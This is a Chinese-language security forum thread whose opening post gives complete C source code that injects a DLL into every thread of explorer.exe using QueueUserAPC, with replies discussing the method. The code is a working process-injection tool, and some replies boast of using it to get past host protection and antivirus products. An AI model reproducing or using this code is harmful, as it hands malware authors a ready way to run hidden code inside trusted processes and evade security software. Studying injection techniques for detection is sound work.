首页
论坛
课程
招聘
[原创]QueueUserApc实现DLL注入
2007-12-6 09:36 20456

[原创]QueueUserApc实现DLL注入

2007-12-6 09:36
20456
思路来自PJF的文章,这种DLL注入方式貌似在恶意软件中使用的比较少,但是AVSOFT也封的比较早~仅供学习。
参考资料:http://blog.csdn.net/wuna66320/archive/2006/09/01/1155348.aspx
#define _WIN32_WINNT 0x0400

#define WIN32_LEAN_AND_MEAN   // 从 Windows 头中排除极少使用的资料
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <Tlhelp32.h>

//
// coded by robinh00d[VX Z0NE]
// Email:robinh00d_at_qq_dot_com
// 向指定进程的线程里插入APC实现DLL注入
//思路来自PJF的老文
//
typedef struct _TIDLIST
{
DWORD dwTid ;
_TIDLIST *pNext ;
}TIDLIST;

DWORD EnumThread(HANDLE hProcess, TIDLIST *pThreadIdList)
{
TIDLIST *pCurrentTid = pThreadIdList ;

const char szInjectModName[] = "c:\\test.dll" ;
DWORD dwLen = strlen(szInjectModName) ;

PVOID param = VirtualAllocEx(hProcess, \
         NULL, dwLen, MEM_COMMIT | MEM_TOP_DOWN, PAGE_EXECUTE_READWRITE) ;

if (param != NULL)
{
   DWORD dwRet ;
   if (WriteProcessMemory(hProcess, param, (LPVOID)szInjectModName, dwLen, &dwRet))
   {

    while (pCurrentTid)
    {
     HANDLE hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, pCurrentTid->dwTid) ;

     if (hThread != NULL)
     {
      //
      // 注入DLL到指定进程
      //
      QueueUserAPC((PAPCFUNC)LoadLibraryA, hThread, (ULONG_PTR)param) ;
     }

     printf("TID:%d\n", pCurrentTid->dwTid) ;
     pCurrentTid = pCurrentTid->pNext ;
    }
   }
}
return 0 ;
}

DWORD GetProcID(const char *szProcessName)
{
PROCESSENTRY32 pe32 = {0} ;
pe32.dwSize = sizeof(PROCESSENTRY32);

HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0) ;

if (hSnapshot == INVALID_HANDLE_VALUE)
{
   return 0xFFFFFFFF ;
}

if (!Process32First(hSnapshot, &pe32))
{
   return 0xFFFFFFFF ;
}

do
{
   if (!_strnicmp(szProcessName, pe32.szExeFile, strlen(szProcessName)))
   {
    printf("%s的PID是:%d\n", pe32.szExeFile, pe32.th32ProcessID);
    return pe32.th32ProcessID ;
   }
} while(Process32Next(hSnapshot, &pe32));

return 0xFFFFFFFF ;

}

TIDLIST* InsertTid(TIDLIST *pdwTidListHead, DWORD dwTid)
{
TIDLIST *pCurrent = NULL ;
TIDLIST *pNewMember = NULL ;

if (pdwTidListHead == NULL)
{
   return NULL ;
}
pCurrent = pdwTidListHead ;

while (pCurrent != NULL)
{
  
   if (pCurrent->pNext == NULL)
   {
    //
    // 定位到链表最后一个元素
    //
    pNewMember = (TIDLIST *)malloc(sizeof(TIDLIST)) ;

    if (pNewMember != NULL)
    {
     pNewMember->dwTid = dwTid ;
     pNewMember->pNext = NULL ;
     pCurrent->pNext = pNewMember ;
     return pNewMember ;
    }
    else
    {
     return NULL ;
    }
   }
   pCurrent = pCurrent->pNext ;
}

return NULL ;
}

int EnumThreadID(DWORD dwPID, TIDLIST *pdwTidList)
{
int i = 0 ;

THREADENTRY32 te32 = {0} ;
te32.dwSize= sizeof(THREADENTRY32) ;

HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD,dwPID) ;

if(hSnapshot != INVALID_HANDLE_VALUE)
{
   if(Thread32First(hSnapshot,&te32))
   {
    do
    {
     if(te32.th32OwnerProcessID==dwPID)
     {
      if (pdwTidList->dwTid == 0)
      {
       pdwTidList->dwTid = te32.th32ThreadID ;
      }
      else
      {
       if (NULL == InsertTid(pdwTidList, te32.th32ThreadID))
       {
        printf("插入失败!\n") ;
        return 0 ;
       }
      }
     
     }
    }while(Thread32Next(hSnapshot,&te32));
   }
}
return 1 ;
}

int main(int argc, char* argv[])
{
TIDLIST *pTidHead = (TIDLIST *)malloc(sizeof(TIDLIST)) ;

if (pTidHead == NULL)
{
   return 1 ;
}
RtlZeroMemory(pTidHead, sizeof(TIDLIST)) ;

DWORD dwPID = 0 ;

if ((dwPID = GetProcID("explorer.exe")) == 0xFFFFFFFF)
{
   printf("进程ID获取失败!\n") ;
   return 1 ;
}

//
// 枚举线程ID
//
EnumThreadID(dwPID, pTidHead) ;

HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPID) ;

if (hProcess == NULL)
{
   return 1 ;
}
EnumThread(hProcess, pTidHead) ;

return 0;
}

[看雪官方培训] Unicorn Trace还原Ollvm算法!《安卓高级研修班》2021年6月班火热招生!!

收藏
点赞0
打赏
分享
最新回复 (8)
雪    币: 109
活跃值: 活跃值 (134)
能力值: ( LV13,RANK:1050 )
在线值:
发帖
回帖
粉丝
combojiang 活跃值 26 2007-12-6 10:31
2
0
好,思路的确奇特。
雪    币: 217
活跃值: 活跃值 (12)
能力值: ( LV13,RANK:530 )
在线值:
发帖
回帖
粉丝
foxabu 活跃值 13 2007-12-6 14:21
3
0
最初见于rootkit.com
然后我已经用这种方法很久了:) 过主防效果还不错.
雪    币: 219
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
guoke 活跃值 2007-12-6 17:22
4
0
n年前就看到了,不过很少有防的?Rootkit.com那篇文后来出来,基本一个想法
雪    币: 225
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
gziuiu 活跃值 2007-12-7 06:47
5
0
嘿嘿,很早前就看到过,早知道上了就精华。
雪    币: 352
活跃值: 活跃值 (11)
能力值: ( LV9,RANK:350 )
在线值:
发帖
回帖
粉丝
hopy 活跃值 8 2007-12-7 11:14
6
0
我没亲手实现过,不过如果目标线程处于不可告警状态时,用户级的APC岂不无效?
哪里我没考虑到?
雪    币: 478
活跃值: 活跃值 (576)
能力值: ( LV12,RANK:1010 )
在线值:
发帖
回帖
粉丝
sudami 活跃值 25 2007-12-7 12:19
7
0
学习。

APC。。。
雪    币: 257
活跃值: 活跃值 (25)
能力值: ( LV10,RANK:170 )
在线值:
发帖
回帖
粉丝
zjjmjtoot 活跃值 4 2007-12-7 12:58
8
0
不会吧,貌似瑞星都过不了呀。
雪    币: 2
活跃值: 活跃值 (170)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
crazybug 活跃值 2 2007-12-7 16:36
9
0
暴力插入每一个线程的APC队列。。。
游客
登录 | 注册 方可回帖
返回